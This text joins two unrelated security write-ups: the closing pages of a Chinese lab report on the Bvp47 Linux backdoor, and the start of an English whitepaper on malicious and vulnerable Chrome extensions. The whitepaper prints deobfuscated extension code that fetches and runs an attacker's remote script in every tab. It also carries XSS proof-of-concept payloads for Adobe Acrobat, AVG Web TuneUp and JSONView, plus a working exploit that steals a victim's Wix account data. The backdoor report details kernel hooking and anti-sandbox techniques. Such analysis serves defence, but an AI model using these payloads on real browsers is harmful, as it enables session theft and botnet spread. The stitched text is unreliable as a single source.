webshared-front2.colt.net webshared-front3.colt.net webshared-front4.colt.net petra.nic.gov.jo 61.0.0.71 61.1.128.17 61.1.128.71 61.1.64.45 195.68.99.20 212.35.107.2 213.41.77.50 213.41.78.10 213.41.78.12 213.41.78.13 213.41.78.14 193.188.71.4 印度 印度 印度 印度 英国 英国 英国 英国 英国 英国 英国 约旦 印度 印度 印度 印度 英国 英国 英国 英国 英国 英国 约旦 ns.cec.uchile.cl 200.9.97.3 159.226.*.* 159.226.*.* 159.226.*.* 智利 中国 中国 中国 智利 意大利Universita' degli Studi Mediterranea di Reggio Calabria 意大利Universita' degli Studi Mediterranea di Reggio Calabria 意大利Universita' degli Studi Mediterranea di Reggio Calabria 意大利Universita' degli Studi Mediterranea di Reggio Calabria 22 www.pangulab.cn 北京奇安盘古实验室科技有限公司 166.111.*.* 166.111.*.* 166.111.**.** 168.160.*.* 202.101.*.* 202.107.*.* 202.112.*.* 202.112.*.* 202.112.*.* 202.117.*.* 202.121.*.* 202.127.*.* 中国 中国 中国 中国 中国 中国 中国 中国 中国 中国 中国 中国 202.166.*.* 202.166.*.* 202.197.*.* 202.197.*.* 202.201.*.* 202.201.*.* 202.204.*.* 202.38.*.* 202.84.*.* 202.96.*.* 202.96.*.* 202.98.*.* 中国 中国 中国 中国 中国 中国 中国 中国 中国 中国 中国 中国 202.99.*.* 210.72.*.* 210.77.*.* 210.83.*.* 211.137.*.* 211.138.*.* 211.82.*.* 218.104.*.* 202.94.*.* 218.107.*.* 218.245.*.* 218.247.*.* 中国 中国 中国 中国 中国 中国 中国 中国 中国 中国 中国 中国 23 www.pangulab.cn 北京奇安盘古实验室科技有限公司 mars.ee.nctu.tw cad-server1.ee.nctu.edu.tw 218.29.*.* 218.29.*.* 222.22.*.* 61.151.*.* 202.175.*.* 202.175.*.* 202.175.*.* 202.175.*.* 202.175.*.* 202.175.*.* 140.113.212.13 140.113.212.150 中国 中国 中国 中国 中国澳门特别行政区 中国澳门特别行政区 中国澳门特别行政区 中国澳门特别行政区 中国澳门特别行政区 中国澳门特别行政区 中国台湾 中国台湾 台湾省新竹市国立交通大学 台湾省新竹市国立交通大学 expos.ee.nctu.edu.tw twins.ee.nctu.edu.tw soldier.ee.nctu.edu.tw royals.ee.nctu.edu.tw mail.et.ntust.edu.tw mail.dyu.edu.tw mail.ncue.edu.tw aries.ficnet.net ns.chining.com.tw mail.tccn.edu.tw mail.must.edu.tw ultra10.nanya.edu.tw 140.113.212.20 140.113.212.26 140.113.212.31 140.113.212.9 140.118.2.53 163.23.1.73 163.23.225.100 202.145.137.19 202.39.26.50 203.64.35.108 203.68.220.40 203.68.40.6 中国台湾 中国台湾 中国台湾 中国台湾 中国台湾 中国台湾 中国台湾 中国台湾 中国台湾 中国台湾 中国台湾 中国台湾 台湾省新竹市国立交通大学 台湾省新竹市国立交通大学 台湾省新竹市国立交通大学 台湾省新竹市国立交通大学 台湾省台北市国立台湾科技大学 台湾省大叶大学 台湾省彰化师范大学 台湾省台湾固网 台湾省中华电信 台湾省花莲县慈济科技大学 台湾省 台湾省 mail.hccc.gov.tw 210.241.6.97 中国台湾 台湾省 24 www.pangulab.cn 北京奇安盘古实验室科技有限公司 原始文件列表: 25 www.pangulab.cn 北京奇安盘古实验室科技有限公司 在2015年事件响应过程中,根据实际的流量记录,受害列表中的日本地区210.135.90.0/24网段 存在作为C2服务器的行为,即攻击者会利用受害主机作为跳板对目标进行攻击: 众多针对中国的攻击线索中,最早的一条可以追溯到2002年: 利用受害主机作为跳板攻击目标 26 www.pangulab.cn 北京奇安盘古实验室科技有限公司 Bvp47 的实现包含了复杂的代码、区段加解密,Linux多版本平台适配,丰富的 rootkit 反追踪技 巧,最重要的是集成了高级隐蔽信道中所使用的BPF引擎高级利用技巧,以及繁琐的通信加解密流程。 本章节将就以上方面进行分析。 Bvp47 在重要动作执行流程方面主要分为两个关键环节, “程序初始化运行”和“隐蔽信道通信” 环节。 在“程序初始化运行”时主要有如下几个关键点, 1. 分 Linux 用户态和内核态操作,用户态进程会保持存活 ; 2. 进行 Bvp 引擎初始化 ; 3. 一系列的环境检测,环境信息不匹配样本就自动清除; 4. 一系列的 payload 区块解密 ; 5. 篡改内核 devmem 限制,允许用户态直接读写内核空间等内核技巧; 6. 装载非标准的 lkm 模块文件 ; 7. Hook 系统函数进行自身进程,文件,网络隐藏,自删除检测在“隐蔽信道通信”环节大致如下: a) Bvp47 接收到服务端发过来的SYN包后,会进入BPF过滤规则(见下文)进行数据包格式匹配; b) 只有满足操作 1 中的 BPF 规则后,会进行 RSA+RC-X 等加密算法的解密; c) 根据解密后的指令进行对应命令操作; 主要行为 6. Bvp47后门技术详解 27 www.pangulab.cn 北京奇安盘古实验室科技有限公司 Bvp47 的整个文件采用后门常用打包方式,即将后门功能模块进行压缩、拼装后置文件末尾,整 体以附加数据的形式存在。附加数据通过内置在程序内部的 loader 功能模块进行加载,主要完成以下 几个步骤: 读取 校验 解压 解密 装载 其中 payload 主要数据结构如下: 具体对应到样本详细内容如下: Payload 28 www.pangulab.cn 北京奇安盘古实验室科技有限公司 利用 010Editor 解析效果如下: 29 www.pangulab.cn 北京奇安盘古实验室科技有限公司 在解密方面 payload 的 loader 会, 1. 调用四个不同的解密函数(底层解密方式一样)来完成各个分片解压操作; 2. 完成操作 1 后,loader 会继续调用 Xor 0x47 算法(见其它章节)完成分片的解密操作; 具体的几个解密函数如下: 30 www.pangulab.cn 北京奇安盘古实验室科技有限公司 Bvp47 样本中大量对字符串,区块进行加密,防止暴露的可能性,而这些加密技巧主要基于异或 方式的变幻,这些细微变化会给追踪者造成不小的分析成本。 根据分析主要有 8 种变幻: 其中 0xa8a16d65_xor 算法如下: 字符串加解密 31 www.pangulab.cn 北京奇安盘古实验室科技有限公司 Bvp47 的 payload 中的部分代码分片模块中的导出函数普遍使用“数字名称”的形式对外提供接 口服务,这样的混淆对于追踪者在分析导出接口的功能分析形成了不小的障碍: 函数名混淆技巧 32 www.pangulab.cn 北京奇安盘古实验室科技有限公司 Bvp47 为了提高自身的通用性而大量使用动态计算 Linux 内核数据和函数地址,与此同时为了从 根本上兼容大量 Linux 内核数据和 payload 中各个独立开发出来的区段,他们研发了 Bvp 引擎企图从 编译和运行时层面来动态重定向和适配 Bvp47 所需的系统函数和数据结构。 Bvp 引擎适配了大量的函数和数据结构: Bvp 引擎 33 www.pangulab.cn 北京奇安盘古实验室科技有限公司 34 www.pangulab.cn 北京奇安盘古实验室科技有限公司 35 www.pangulab.cn 北京奇安盘古实验室科技有限公司 在 0x0b 和 0x10 中都各自存在一种用来记录和描述 Bvp 引擎信息的结构体: 在 0x0b 中解析 Bvp 引擎格式的效果图: 上图中的MD5值的计算方式, 即读取/proc/version内容,直接计算MD5 值作为操作系统内核的 唯一标识,不同版本的内核会对应相应的MD5和结构值。 为了验证该 MD5 值的准确性,收集一系列的内核版本如下: 36 www.pangulab.cn 北京奇安盘古实验室科技有限公司 37 www.pangulab.cn 北京奇安盘古实验室科技有限公司 系统 Hook 并对内核信息,即/proc/version 内容进行 MD5 计算(图中上半部标记了数字版本号的 MD5 值 都可以在 Bvp47 中找到,都是受影响的系统版本): Bvp47 主要 Hook 了 Linux 操作系统内核中近 70 多处流程函数,主要用来实现网络、进程、文 件隐藏,和 SeLinux 绕过等,具体列表如下: 被 Hook 函数 Hook 位置 Hook 技术方式 devmem_is_allowed page_is_ram sys_swapon si_swapinfo do_fork release_task dev_ioctl d_alloc 函数中间 函数中间 函数开头 函数开头 函数中间 函数开头 函数开头 函数开头 inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook vfs_readdir sys_unlink sys_rmdir vfs_getattr vfs_getattr64 tcp4_seq_show listening_get_next established_get_next udp4_seq_show raw_seq_show 函数开头 函数中间 函数中间 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook 38 www.pangulab.cn 北京奇安盘古实验室科技有限公司 packet_seq_show unix_seq_show Selinux_xxx_ get_raw_sock get_raw_sock sock_init_data tcp_time_wait unix_accept read_mem __inode_dir_notify avc_has_perm do_mount proc_pid_readdir kill_something_info sys_kill sys_rt_sigqueueinfo sys_tkill sys_tgkill sys_getpriority sys_setpriority sys_getpgid sys_getsid sys_capget setscheduler sys_umount do_acct_process 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数中间 函数开头 函数开头 函数开头 函数中间 函数开头 函数开头 函数中间 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook sys_sched_getscheduler sys_sched_getparam sched_getaffinity sched_setaffinity 函数中间 函数中间 函数中间 函数中间 inline hook inline hook inline hook inline hook inline hook inline hook proc_root_lookup 函数开头 inline hook 39 www.pangulab.cn 北京奇安盘古实验室科技有限公司 例 1: __d_lookup 函数具体的 hook 前后对比: sys_sched_rr_get_interval sys_ptrace sys_wait4 sys_waitid do_execve sys_close sys_open sys_read sys_write sys_dup sys_dup2 sys_accept 函数中间 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 函数开头 inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook inline hook sys_bind sys_connect sys_sendto sys_sendmsg sys_recvfrom sys_recvmsg 函数开头 函数开头 函数中间 函数中间 函数中间 函数中间 inline hook inline hook inline hook inline hook inline hook inline hook 40 www.pangulab.cn 北京奇安盘古实验室科技有限公司 Bvp47 在 Hook 掉__d_lookup 函数后主要用于自身文件的隐藏和触发自删除 流 程 , 利 用 hook __d_lookup 来 校 验 上 层 应 用 是 否 试 图 访 问 /usr/bin/modload 文件,具体 handle 函数前面部 分如下: 在 handler 函数大量使用即时查找处理函数的技巧: 41 www.pangulab.cn 北京奇安盘古实验室科技有限公司 例 2: devmem_is_allowed 函数具体的 hook 前后对比: Hook devmem_is_allowed 后,用户态的 Bvp47 就可以任意读写内核空间了。 42 www.pangulab.cn 北京奇安盘古实验室科技有限公司 例 3: avc_has_perm 函数具体的 hook 前后对比: Bvp47 通过内部 inline hook avc_has_perm 后,就可以直接绕过 SeLinux的限制进行任意操作。 43 www.pangulab.cn 北京奇安盘古实验室科技有限公司 例 4: sys_read 函数具体的 hook 前后对比: Bvp47 会在 sys_read 中对读取操作进行过滤。 44 www.pangulab.cn 北京奇安盘古实验室科技有限公司 内核模块防检测 BPF 隐蔽信道 Bvp47 会通过修改内核模块 elf 文件的前四个字节,达到躲避内存搜索 elf 的目的,并通过自己的 lkm loader 进行加载。 BPF(Berkeley Packet Filter)是 Linux 内核中用来过滤自定义格式数据包的内核引擎,它可以提 供一套规定的语言供用户层的普通进程来过滤指定数据包。 Bvp47 直接利用 BPF 的这个特性作为隐蔽信道环节中在 Linux 内核层面的高级技巧,避免直接的 内核网络协议栈 hook 被追踪者检测出来。 具体的 BPF 汇编如下,只有满足这部分规则的 SYN 数据包(还包括UDP包)才会进入下一个加解密 流程进行处理: 45 www.pangulab.cn 北京奇安盘古实验室科技有限公司 46 www.pangulab.cn 北京奇安盘古实验室科技有限公司 常见BPF Trigger数据包为TCP包,并且TCP包携带数据总大小为0x88字节,Trigger Packege字段 大小结构如图: 字段结构图: 红色部分,数据⻓度0x0088异或0xE6CF; 绿色部分,解密后数据的实际长度; 深蓝部分,紫色Random与0x9D6A异或; 47 www.pangulab.cn 北京奇安盘古实验室科技有限公司 信道加密与解密 Bvp47 在隐蔽信道和后续的反弹连接动作中都使用了非对称算法 RSA 和RC-X 算法作为通信链路 安全的保障,中间计算会涉及到收发包的时间,长度等因子影响,其中部分密钥对如下: 48 www.pangulab.cn 北京奇安盘古实验室科技有限公司 在后续接到反弹命令后,Bvp47 会进入接收反弹包解密流程: 49 www.pangulab.cn 北京奇安盘古实验室科技有限公司 运行环境检测 Bvp47 为了更好的保护自身,作了一系列的运行环境的检测,防止样本被获取后直接被追踪者进 行动态分析。在 payload 第一个区块解密后会得到 32 位无符号整形值,该值主要用来作 checksum 来对运行环境进行校验。具体校验方法如下: 1. Loader 执行 statvsf(“/”, &stats); 2. 获取操作 1 执行结果中的 blocks 和 files; 3. 进行 blocks ^ files == checksum ? 结果比较,满足相等则判断为当前环境符合运行; 50 www.pangulab.cn 北京奇安盘古实验室科技有限公司 其它技术特点 不受信任的程序往往由沙箱运行并监测行为。程序运行时往往并没有真正落地,也就时说此时的 argv[0]所指路径并不是程序的真正路径。程序通过syscall调用lstat,以求绕过SandboxRing3的 Hook,查看argv[0]所指的文件是否真实存在。 1. 利用setrlimit api来设置core dump文件(内核转存文件)大小0,防止样本提取; 2. argv[0]与lstat结合的反沙箱技术; mkstmp时用来在Linux /tmp目录下生成临时文件的Api。(猜测时由于当时沙箱并没有对这个Api 提供支持,或者沙箱策略禁用了mkstmp。因此可以用mkstmp调用是否成功来识别沙箱)。 3. mkstmp 反沙箱技术 沙箱中的/boot目录下的文件往往只有2个一个文件/boot/.另一个/boot/..。所以只要打开/boot目 录统计/boot目录下的文件个数,往往可以识别沙箱。(Windows上会通过TEMP目录下的临时文 件数)。 4. /boot 反沙箱技术 任何沙箱只会为每个样本分配有限的时间。因此调用大量合法Api,以达到延迟执行,用以躲过沙 箱的起爆分析。 5. Aip Flooting 与 延迟执行 51 www.pangulab.cn 北京奇安盘古实验室科技有限公司 7. 总结 作为一个高级攻击工具, Bvp47 让世人见识到了它的复杂性,针对性和前瞻性,让人震惊的是在 分析之后认识到它存在的时间可能已经长达十几年之久。通过 The Shadow Brokers Leaks和NSA ANT catalog渠道了解到的信息,它背后的工程基本涉及*nix全平台,它所应用的高级 SYNKnock 隐 蔽信道技术从Cisco 平台、Solaris、AIX、SUN,再到 Windows 平台都可能涉及。 到底是什么样的力量在驱动着它的发展?或许可以从多个受害单位人得到部分得答案,这些单位 普遍来自于国家要害部门。 盘古实验室作为一支坚持高精尖技术驱动的网络安全团队,很清醒的认识到世界超一流 APT 组织 在攻击技术上的强大能力,唯有保持在信息安全攻防前沿技术的积极探索和重要事件的持续跟进,与 全球产业界协同防御,才有可能在未来的网络对抗中保护用户。 52 www.pangulab.cn 北京奇安盘古实验室科技有限公司 8. 参考资源 1. The Shadow Brokers: don’t forget your base https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1 4. FOXACID-Server-SOP-Redacted.pdf https://edwardsnowden.com/docs/doc/FOXACID-Server-SOP-Redacted.pdf 2. The Shadow Brokers: x0rz-EQGRP https://github.com/x0rz/EQGRP/ 3. NSA ANT catalog – Wikipedia https://en.wikipedia.org/wiki/NSA_ANT_catalog 53 www.pangulab.cn 北京奇安盘古实验室科技有限公司 北京奇安盘古实验室科技有限公司是在知名安全团队盘古实验室基础上成立,专注于高级安全研 究和攻防对抗研究,在操作系统、虚拟化、物联网和应用安全研究上拥有扎实的研究能力和经验。 关于盘古实验室
pdf
Game of Chromes: Owning the Web with Zombie Chrome Extensions Abstract 2 Malicious Extensions Analysis 3 Malicious Extension I - Bot distribution through Facebook and Wix.com 3 Malicious Extension II - Bot distribution through Facebook and Google Drive 6 Vulnerable Extensions Analysis 8 Vulnerable Extension I - Adobe Acrobat 8 Vulnerable Extension II - AVG Web TuneUp 10 Vulnerable Extension III - JSONView 14 Abstract On April 16 2016, an army of bots stormed upon Wix servers, creating new accounts and publishing shady websites in mass. The attack was carried by a malicious Chrome extension, installed on tens of thousands of devices, sending HTTP requests simultaneously. This “Extension Bot” has used Wix websites platform and Facebook messaging service, to distribute itself among users. Two months later, same attackers strike again. This time they used infectious notifications, popping up on Facebook and leading to a malicious Windows-runnable JSE file. Upon clicking, the file ran and installed a Chrome extension on the victim’s browser. Then the extension used Facebook messaging once again to pass itself on to more victims. Analyzing these attacks, we were amazed by the highly elusive nature of these bots, especially when it comes to bypassing web-based bot-detection systems. This shouldn’t be surprising, since legit browser extensions ​are supposed​ to send Facebook messages, create Wix websites, or in fact perform any action on behalf of the user. On the other hand, smuggling a malicious extension into Google Web Store and distributing it among victims efficiently, like these attackers did, is let’s say - not a stroll in the park. But don’t worry, there are other options. Recently, several popular Chrome extensions were found to be vulnerable to XSS. ​Yep​, the same old XSS every rookie finds in so many web applications. So browser extensions suffer from it too, and sadly, in their case it can be much deadlier than in regular websites. One noticeable example is the Adobe Acrobat Chrome extension, which was silently installed on January 10 by Adobe, on an insane number of ​30 million devices​. A DOM-based XSS vulnerability in the extension (found by Google Project Zero) allowed an attacker to craft a content that would run JavaScript as the extension. In this talk I will show how such a flaw leads to full and permanent control over the victim’s browser, turning the extension into zombie. Additionally, Shedding more light on the 2016 attacks on Wix and Facebook described in the beginning, I will demonstrate how an attacker can use similar techniques to distribute her malicious payload efficiently on to new victims, through popular social platforms - creating the web’s most powerful botnet ever. Malicious Extensions Analysis Malicious Extension I - Bot distribution through Facebook and Wix.com This malicious Chrome extension appeared on April 2016. It used Facebook messenger as a mean to distribute links to websites created with Wix.com websites platform. These websites redirected users to the attacker’s page, persuading the victim’s friends to install the same extension. The extension’s code was a duplicated version of another extension that was already exist in Chrome Web Store (and still exists). The main addition by the attackers to the original extension code was in the background script - it loaded a script named “​data.js​” from some path on the Internet, and injected it to each and every tab (see extension’s course of action below). This script’s code was highly obfuscated, and required us much time and effort to analyze. The extension had several versions, it evolved every time we blocked its patterns, or had Google removing it from the Web Store. The extension permissions included: ● http(s)://*/*​ - cross-origin abilities to any address on the Internet. ● tabs​ - full control on all chrome tabs, i.e. execute script on a tab, update tab url and more. ● cookies​ - access to the cookies of any site, including ​http-only​ cookies. Once the extension is installed, it performs the following actions: 1. As mentioned above, first it sends an ​XHR​ to the attacker’s server, fetches commands script “​data.js​” and injects it into all open tabs (using ​tabs.executeScript​). 2. Opens a new Facebook tab. “​data.js​” is automatically loaded into it. 3. In the Facebook tab, “​data.js​” appends an invisible iframe into the page’s ​DOM​. The frame ​src​ is Wix.com login page. 4. Inside the Wix frame (again, “​data.js​” is injected): a. Registers a new user in Wix.com, using randomized username & password strings​* ​. b. Creates a new Wix website, and saves it with a crafted payload that redirects visitors to the attacker’s website c. Publishes the website on a the Internet (it’s free!). 5. Back in the Facebook tab, takes the url of the newly created Wix website, and distributes it among all the victim’s friends, using Facebook messages. 6. Fetches the victim’s Google authorization token, and uses it to submit a review on Chrome Web Store, rating the malicious extension with 5 stars. *​ As the attack evolved, the attacker changed the registration method to social login (rather than username & password registration), using the victim’s Facebook account. This was done in order to avoid bot detection measures that were not enforced for social logins at first (if Facebook signed him in, he’s definitely not a bot, right?). How it looks from the victim’s perspective: 1. I get a message on Facebook from a friend, saying “Enter this link and see who viewed your profile on Facebook”, and a link to a Wix website. 2. Entering the link, I am redirected to a different page, telling me to install a Chrome Extension from the Web Store, in order to see who viewed my profile, of course. 3. The link on the attacker’s page does lead to Chrome Web Store. I install the extension from the store. 4. Nothing happens (code runs on my Facebook tab, creates a new Wix website and sends its url to all my friends). 5. One of my friends clicks the link, and back to 1, in exponential growth. Code Snippets Extension manifest.js: { "update_url": "https://clients2.google.com/service/update2/crx", "background": { "scripts": [ "​view.js​" ] }, ... "description": "Permet de profiter des avantages d'un compte viadeo premium", ... "name": "Viad30 Unlocker", "permissions": [ ​ "tabs", "*://*.viadeo.com/", "storage", "webNavigation", ​"http://*/*", "https://*/*", "cookies", "webRequest", "webRequestBlocking" ], "version": "3.4", "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'" } “view.js”, the background script, downloads “data.js” from the attacker’s server, and injects it into all tabs. This is a deobfuscated code snippet from “view.js”: chrome.​tabs.onUpdated.addListener​(function(gdhndztwu, ylvmbrzaez, ypujhmpyy) { var​ ​xhr_obj = ​juykhjkhj​(); xhr_obj['onreadystatechange'] = function() { if​ ​(xhr_obj['readyState'] == 4) { chrome['tabs'][​'executeScript'​]({ code: xhr_obj['responseText'] }) } }; xhr_obj['open']('get', ​'http://appbdajfnec.co/data.js'​); xhr_obj['send'](); } * The attacker’s domain name presented is not the original domain name used. This is actually the attacker’s Command & Control mechanism for his bot extensions. The code of “data.js” is injected to any tab, on any update of a page. This way, the attacker is able to send tailored-made versions of “data.js”, according to the victim’s properties and the website he’s visiting. This grant the attacker with full and dynamic control on his botnet. In the presented attack, “data.js” runs all the Wix-site-creating, Facebook-message-sending, Google-review-submitting stuff. It’s a 5000 lines script, and it does the whole login step by step. Malicious Extension II - Bot distribution through Facebook and Google Drive This malicious Chrome extension appeared on June 2016. It gained more than 10,000 infections within 48 hours, before Facebook / Google blocked it. It was distributed by the same attackers acted in the Wix attack two months before (based on mutual techniques, code, domains). The distribution method used by this extension resembles the previous one, however the attack payload is stored this time in the victim’s Google Drive, rather than in a Wix website. This campaign was a great success, and therefore made much noise on the web, as the news about “New Facebook Malware” were spread. The attack and the malicious extension was covered thoroughly by Kaspersky Labs researcher Ido Naor, in his report on Securelist “Tag Me If You Can” . 1 I will bring here some highlights. The attackers this time came up with a real game changer - way of installing the malicious extension without having to store it in Chrome Web Store (and being removed by Google once it’s reported). They found an original way to run executables on victim’s machines: a ​jse​ file that was downloaded straight from a click on a Facebook notification. This ​jse​ file represents a JScript code file. Upon clicking, it runs as an executable on any Windows machine. The ​jse​ file, once run, creates a copy of the victim’s Chrome process file, with a small addition: a malicious extension is installed. When Chrome is reopened, the extension performs the following actions: 1. Injects the commands script on all tabs (the infamous “data.js”). 2. Grabs victim’s Google authorization token, and uses it to upload a new instance of the infecting ​jse​ file, to the victim’s Google Drive. 3. Changes the permissions of the uploaded file to ​public​, so everyone can access it. 4. Uses Facebook API to create tags of all the victim’s Facebook friends. These tags result in notifications, shown on the Facebook pages of the tagged users. The notification lead to download of the malicious ​jse​ file from Google Drive. How can a notification on Facebook lead to a ​jse​ file? Good question. Facebook has a plugin system allowing third party websites to implement the Facebook commenting system in their pages. We all see it in action every day in many sites that shows Facebook comments in the bottom of their pages. Tagging a Facebook user in comments run by this plugin, results in a notification on his Facebook homepage. The notification, upon clicking, leads the user outside of Facebook - to the url where the comments are shown. This url is controlled by the third-party that creates the tag using the commenting plugin. The attackers leveraged this feature in order to create notifications that lead to ​their​ third-party url - a ​jse​ file stored on Google Drive. 1 ​https://securelist.com/files/2016/07/KL_Facebook_Malware.pdf How it looks from the victim’s perspective: 1. I get a notification on Facebook, saying a friend I know has just tagged me in a comment. I click on the notification. 2. I see a Facebook page saying that I’m leaving Facebook, I agree. 3. A file is downloaded on my browser. I click the downloaded file, because I’m that curious. 4. My browser window is suddenly closing and I see a Chrome shortcut on my desktop, I click it and the a Facebook tab is opened. 5. Nothing happens (code runs on my Facebook tab, uploads a new ​jse​ file to my Google Drive, creates tags of all of my friends using the plugin, leading to the ​jse​ file url). 6. One of my friends notices I tagged him, 2 clicks and we’re back in 1, in exponential growth. Vulnerable Extensions Analysis Vulnerable Extension I - Adobe Acrobat On January 12th, an automatic Adobe Acrobat update force-installed a Chrome extension named Adobe Acrobat, on all Windows machines. The extension purpose was to allow users converting web pages into pdf files. A patched version of the extension still exists in Chrome Web Store, and currently installed on tens of millions of devices. Only 6 days later, while having 30M installations, Google Project Zero researcher Tavis Ormandy revealed a DOM-based XSS vulnerability in the extension . 2 PoC for exploiting the vulnerability was demonstrated by Ormandy in his report: window.open("chrome-extension://efaidnbmnnnibpcajpcglclefindmkaj/data / js/frame.html?message=" + encodeURIComponent(JSON.stringify({ panel_op: "status", current_status: "failure", message: "<h1>hello</h1>" }))); Vulnerability Analysis From the exploitation code snippet we learn that an extension page ​frame.html​, which is accessible to users by url, lacks input validation on the ​message​ parameter. The following code from the extension file frame.js creates the vulnerability: ... } else if (request.current_status === "failure") { analytics(events.TREFOIL_HTML_CONVERT_FAILED); if (request.message) { str_status​ = ​request.message​; } success = false; } ... if (str_status) { $(".convert-title").removeClass("hidden"); $(".convert-title").​html​(​str_status​); } 2 https://bugs.chromium.org/p/project-zero/issues/detail?id=1088 The above code takes the raw value from the message parameter and sets it as the ​html​ value of the page’s title. Exploitation Content-Security Policy prevents full exploitation in this case. To understand why we need to go back to 2014, when Google enforced usage of ​manifest 2 in Chrome Extensions. The most notable change in this version was a default CSP configuration, set for all extensions that do not explicitly configure it in the manifest. The default Content-Security Policy is as followed: script-src 'self'; object-src 'self' This policy help preventing XSS in three ways: 1. Eval and related functions are disabled 2. Inline JavaScript will not be executed* 3. Only local scripts and resources are allowed (whitelisted domains can be set for fetching scripts) *It’s important to mention that there is no mechanism for relaxing the restriction against executing inline JavaScript. Setting a script policy that includes '​unsafe-inline​' has no effect. In this bold move, driving countless of extensions developers to patch their dirty code, Google has saved us from an XSS horror scenario. CSP does prevent a lot of common XSS cases. However, the extension ecosystem is too wide to block all exploitation techniques with a policy. In the following 2 ex-vulnerable extensions analysis, we will try to verify this argument. Vulnerable Extension II - AVG Web TuneUp When a user installs AVG AntiVirus on his machine, a Chrome extension called "AVG Web TuneUp" is force-installed. Tavis Ormandy, same researcher from Google Project Zero, found this extension to be vulnerable to XSS, among some other issues, on December 2015 . 3 This vulnerability allowed attackers to craft a web page that initiates arbitrary JavaScript on any domain on the web - what we like to call Universal XSS. At the time, the extension had ~9M installations, currently tens of millions. PoC for exploiting this vulnerability was demonstrated by Ormandy in his report. The following code should be embedded in the attack page: <script> for (i = 0; i < 256; i++) { window.postMessage({ origin: "web", action: "navigate", data:{ url: "javascript:document.location.hostname.endsWith('.avg.com' )" + "?" + "alert(document.domain + ':' +document.cookie)" + ":" + "false", tabID: i }}, "*"); } </script> Vulnerability Analysis From the exploitation code snippet we learn that a script, probably content script injected into the page by the extension, listens to ​window​ messages. When it receives a message, and the message’s ​action​ value is “navigate”, it redirect the tab specified in ​tabId​, to a destination specified in ​url​. In the given PoC, the url value starts with “​javascript:​”, resulting in JavaScript execution on the affected tab. The PoC script checks whether current domain ends with “avg.com”, and if so, alerts with the domain name and cookies. Looking closer at the extension’s code, the vulnerable part can be found. content.js (content script injected to every tab): window.addEventListener("message"​, function(event) …) { 3 https://bugs.chromium.org/p/project-zero/issues/detail?id=675 ... sendMessageToBackground(​event.data​); } ... var sendMessageToBackground = function(message, cb, viaPort){ ... chrome.runtime.sendMessage(message, cb); }; We can see that the extension’s content script indeed listens to incoming ​window​ messages. Then it takes the message data as is and forward it to the extension’s background script via chrome.runtime.sendMessage​. Background scripts run persistently in the background of a browser, and have the privilege of reading and changing all data in all tabs (given the extension’s permissions). On message, the background script runs the logic of It calls another function jsAPIservice.navigate​, that runs the logic of navigating tabs according to the message data. background.js: chrome.​runtime.onMessage.addListener​(wt.messaging.​onMessage​); ... onMessage​: function(request, sender, sendResponse){ if(sender.id === wt.EXT_ID){ var result; if(typeof actionsByType[request.action] === "function"){ result = actionsByType[request.action]​(request, sender); if(result !== undefined && sendResponse){ var _response = request; _response.data = result; sendResponse(_response); }}}} The ​actionByType[“navigate”]​ function forwards the data to another function - jsAPIservice​.navigate: var ​actionsByType​ = function(){ ... var ​navigate​ = function(message){ jsAPIservice.navigate​(message.data); }; ... return { ... navigate: ​navigate​ }; This function forwards the data to ​wt.chromeTabsUpdate​, that finally updates the chosen tab’s url: var ​jsAPIservice​ = function(){ function ​navigate​(data, tabId){ var _tabId = (data.tabID !== null) ? data.tabID : ((tabId && tabId !== "") ? tabId : undefined); ... if (_tabId) { ​wt.chromeTabsUpdate​({ tabId: _tabId, url: data.url, callback: function (tab){} }); }}} ... var ​wt​ = { chromeTabsUpdate​: function(data){ chrome.tabs.update(data.tabId, {url: data.url}, data.callback); } Exploitation Luckily, Content-Security Policy does not take effect in this case, because the payload is not executed in the content script or in an extension page, but in the background script. Background script still has CSP limitations, such as inability to ​eval​ code, however it ​is​ able to control tabs and redirect them to new urls. This demo exploit manipulates this redirection, using a “​javascript:​“ url, in order to run scripts in the context of the tab. Demonstrating this PoC is easy and satisfying. Send one window message and you can run anything you want on any open tab. Below you can find a quick demo, exploiting this XSS in order to obtain victim’s sites list from his Wix.com account. attack.js (attacker’s page): for (i = 0; i < 9999; i++) { window.postMessage({ origin: "web", action: "navigate", data: { url: "javascript:document.location.hostname.endsWith('wix.com')" + "?" + "(function () { var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://www.wix.com/_api/wix-dashboard-ng-webapp/metaSite', true); xhr.onload = function() { var status = xhr.status; if (status == 200) { data = xhr.responseText; document.write(data); } }; xhr.send(); })()" + ":" + "false", tabID: i }}, "*"); } Result: tabs with location of “*.wix.com”, print the site list on the page (​document.write​). The list is fetched with an XHR request from a Wix api endpoint called ​/metaSite​, and the session cookie is obviously sent along with the request. After visiting the attack page, all tabs open on wix.com show the user’s list of sites: Such a script can run on any tab. An attacker might prepare a dedicated payload to each open tab, i.e. send messages on Facebook, upload files to Google Drive, or any other bot distribution tool you can imagine. Another great option is using BeEF, The Browser Exploitation Framework, to hook all open tabs and control them with its awesome C&C capabilities. Vulnerable Extension III - JSONView JSONView Chrome extension allows users to viewing json pages in a convenient formatted version. It’s a relatively successful extension, with ~1M installation currently, and positive reviews. It is probably used by a lot of developers and other tech guys. On February 26 2015, a researcher called Joe Vennix, revealed an XSS vulnerability in the parsing process the extension run on json text . Vennix added a simple PoC, in the form of the 4 following text: { "a": "http://\"><iframe/src='javascript:alert(document.domain)'></iframe>" } He also committed a fix, but it was ignored by the extension’s developer. Later on, more researchers found more XSS issues , and this unmaintained extension kept running and 5 jeopardizing millions of users, undisturbed. More than a year and a half later, on November 2016, Google removed JSONView from the web store and disabled it on all devices. 3 months later, on January 2017, a new version of JSONView was introduced by the original developer, XSS fixed. Vulnerability Analysis The extension, using a content script injected in any tab, reads text from the page and sends it to its background script using 